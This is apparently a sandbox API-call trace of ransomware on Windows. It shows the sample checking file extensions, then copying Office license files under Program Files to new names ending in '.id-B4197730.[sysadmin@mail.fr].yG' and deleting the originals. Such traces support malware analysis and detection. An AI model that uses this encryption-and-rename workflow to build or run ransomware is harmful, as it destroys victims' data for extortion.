	[0161.369] lstrlenW (lpString=".7z") returned 3
	[0161.369] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.369] lstrlenW (lpString=".dbf") returned 4
	[0161.369] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.369] lstrlenW (lpString=".1cd") returned 4
	[0161.369] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.369] lstrlenW (lpString=".jpg") returned 4
	[0161.369] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.370] lstrlenW (lpString=".doc") returned 4
	[0161.370] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.370] lstrlenW (lpString=".docx") returned 5
	[0161.370] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0161.370] lstrlenW (lpString=".pdf") returned 4
	[0161.370] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.370] lstrlenW (lpString=".xls") returned 4
	[0161.370] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.370] lstrlenW (lpString=".xlsx") returned 5
	[0161.370] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0161.370] lstrlenW (lpString=".ppt") returned 4
	[0161.370] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.370] lstrlenW (lpString=".zip") returned 4
	[0161.370] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.370] lstrlenW (lpString=".rar") returned 4
	[0161.370] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.370] lstrlenW (lpString=".bz2") returned 4
	[0161.370] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0161.370] lstrlenW (lpString=".7z") returned 3
	[0161.371] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.371] lstrlenW (lpString=".dbf") returned 4
	[0161.371] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.371] lstrlenW (lpString=".1cd") returned 4
	[0161.371] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.371] lstrlenW (lpString=".jpg") returned 4
	[0161.371] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.371] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.371] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28
	[0161.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.372] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11579) returned 1
	[0161.372] CloseHandle (hObject=0x34c) returned 1
	[0161.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0161.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.373] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.373] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.374] GetLastError () returned 0x0
	[0161.374] ReadFile (in: hFile=0x34c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d3b, lpOverlapped=0x0) returned 1
	[0161.377] WriteFile (in: hFile=0x42c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0161.378] ReadFile (in: hFile=0x34c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.378] WriteFile (in: hFile=0x42c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0161.378] SetEndOfFile (hFile=0x42c) returned 1
	[0161.379] CloseHandle (hObject=0x42c) returned 1
	[0161.379] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.379] SetEndOfFile (hFile=0x34c) returned 1
	[0161.382] CloseHandle (hObject=0x34c) returned 1
	[0161.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1
	[0161.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.384] lstrlenW (lpString=".doc") returned 4
	[0161.384] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.384] lstrlenW (lpString=".docx") returned 5
	[0161.384] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.384] lstrlenW (lpString=".pdf") returned 4
	[0161.384] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.384] lstrlenW (lpString=".xls") returned 4
	[0161.384] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.384] lstrlenW (lpString=".xlsx") returned 5
	[0161.384] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.384] lstrlenW (lpString=".ppt") returned 4
	[0161.384] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.385] lstrlenW (lpString=".zip") returned 4
	[0161.385] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.385] lstrlenW (lpString=".rar") returned 4
	[0161.385] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.385] lstrlenW (lpString=".bz2") returned 4
	[0161.385] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.385] lstrlenW (lpString=".7z") returned 3
	[0161.385] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.385] lstrlenW (lpString=".dbf") returned 4
	[0161.385] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.385] lstrlenW (lpString=".1cd") returned 4
	[0161.385] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0161.385] lstrlenW (lpString=".jpg") returned 4
	[0161.385] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.386] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19924) returned 1
	[0161.386] CloseHandle (hObject=0x34c) returned 1
	[0161.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0161.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.387] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.387] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.388] GetLastError () returned 0x0
	[0161.388] ReadFile (in: hFile=0x34c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4dd4, lpOverlapped=0x0) returned 1
	[0161.427] WriteFile (in: hFile=0x42c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0161.428] ReadFile (in: hFile=0x34c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.428] WriteFile (in: hFile=0x42c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0161.428] SetEndOfFile (hFile=0x42c) returned 1
	[0161.429] CloseHandle (hObject=0x42c) returned 1
	[0161.429] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.429] SetEndOfFile (hFile=0x34c) returned 1
	[0161.433] CloseHandle (hObject=0x34c) returned 1
	[0161.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1
	[0161.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.436] lstrlenW (lpString=".doc") returned 4
	[0161.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.436] lstrlenW (lpString=".docx") returned 5
	[0161.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.437] lstrlenW (lpString=".pdf") returned 4
	[0161.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString=".xls") returned 4
	[0161.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString=".xlsx") returned 5
	[0161.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.437] lstrlenW (lpString=".ppt") returned 4
	[0161.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.437] lstrlenW (lpString=".zip") returned 4
	[0161.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString=".rar") returned 4
	[0161.437] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString=".bz2") returned 4
	[0161.437] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.437] lstrlenW (lpString=".7z") returned 3
	[0161.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.437] lstrlenW (lpString=".dbf") returned 4
	[0161.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.438] lstrlenW (lpString=".1cd") returned 4
	[0161.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.438] lstrlenW (lpString=".jpg") returned 4
	[0161.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.438] lstrlenW (lpString=".doc") returned 4
	[0161.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString=".docx") returned 5
	[0161.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.438] lstrlenW (lpString=".pdf") returned 4
	[0161.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString=".xls") returned 4
	[0161.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString=".xlsx") returned 5
	[0161.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.438] lstrlenW (lpString=".ppt") returned 4
	[0161.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.438] lstrlenW (lpString=".zip") returned 4
	[0161.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString=".rar") returned 4
	[0161.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.438] lstrlenW (lpString=".bz2") returned 4
	[0161.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.439] lstrlenW (lpString=".7z") returned 3
	[0161.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.439] lstrlenW (lpString=".dbf") returned 4
	[0161.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.439] lstrlenW (lpString=".1cd") returned 4
	[0161.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0161.439] lstrlenW (lpString=".jpg") returned 4
	[0161.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.439] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.439] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23
	[0161.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.549] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11143) returned 1
	[0161.549] CloseHandle (hObject=0x4b0) returned 1
	[0161.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220
	[0161.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.550] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.550] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.574] GetLastError () returned 0x0
	[0161.574] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2b87, lpOverlapped=0x0) returned 1
	[0161.594] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0161.595] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.595] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x102, lpOverlapped=0x0) returned 1
	[0161.598] SetEndOfFile (hFile=0x544) returned 1
	[0161.598] CloseHandle (hObject=0x544) returned 1
	[0161.599] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.599] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.604] CloseHandle (hObject=0x4b0) returned 1
	[0161.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.606] lstrlenW (lpString=".doc") returned 4
	[0161.606] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.606] lstrlenW (lpString=".docx") returned 5
	[0161.606] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.606] lstrlenW (lpString=".pdf") returned 4
	[0161.606] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.606] lstrlenW (lpString=".xls") returned 4
	[0161.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString=".xlsx") returned 5
	[0161.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.607] lstrlenW (lpString=".ppt") returned 4
	[0161.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.607] lstrlenW (lpString=".zip") returned 4
	[0161.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString=".rar") returned 4
	[0161.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString=".bz2") returned 4
	[0161.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString=".7z") returned 3
	[0161.607] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.607] lstrlenW (lpString=".dbf") returned 4
	[0161.607] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.607] lstrlenW (lpString=".1cd") returned 4
	[0161.607] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0161.607] lstrlenW (lpString=".jpg") returned 4
	[0161.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.609] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=6794) returned 1
	[0161.609] CloseHandle (hObject=0x4b0) returned 1
	[0161.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220
